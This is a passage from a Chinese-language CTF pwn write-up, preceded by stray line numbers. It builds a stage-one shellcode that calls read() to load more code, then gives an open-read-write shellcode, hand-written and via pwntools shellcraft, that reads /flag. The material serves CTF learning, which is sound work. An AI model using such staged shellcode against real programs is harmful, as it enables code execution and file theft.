1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| read(0,0xcafe0000+x(地址),0x1000(长度)) 在系统调用中就是 rax=0,rdi=0,rsi = 0xcafe0000+x(地址)rdx=0x1000(长度) 那么我们对照上面的寄存器地址就可以构造第一个payload 首先rax=0 不用改变,先把rdi变成0 然后再把rsi=0xCAFE0010,rdx本身就够大了 也不用改变 shellcode=asm(""" mov rdi,rax mov rsi,0xCAFE0010 syscall nop """) 或 看read的汇编 0x55555555538b <main+85> mov rax, qword ptr [rbp - 8] 0x55555555538f <main+89> mov edx, 0x10 0x555555555394 <main+94> mov rsi, rax 0x555555555397 <main+97> mov edi, 0 0x55555555539c <main+102> mov eax, 0 0x5555555553a1 <main+107> call read@plt <read@plt> 把eax和edi清零,把edx变得足够大,把esi改成要写入的位置,也可以达到同样的调用效果 shellcode1 = asm(""" xor eax, eax /* SYS_read */ xor edi, edi /* 0 */ mov edx, 0x1000 mov esi, 0xcafe0000 syscall """)
调用完read之后找一段orw的shellcode输进去即可 shellcode2= asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''') 或利用shellcraft shellcode2 = b"\x90" * 0x100 shellcode2 += asm(shellcraft.open("/flag")) shellcode2 += asm(shellcraft.read(3, 0xCAFE0500, 0x500)) shellcode2 += asm(shellcraft.write(1, 0xCAFE0500, 0x500))
|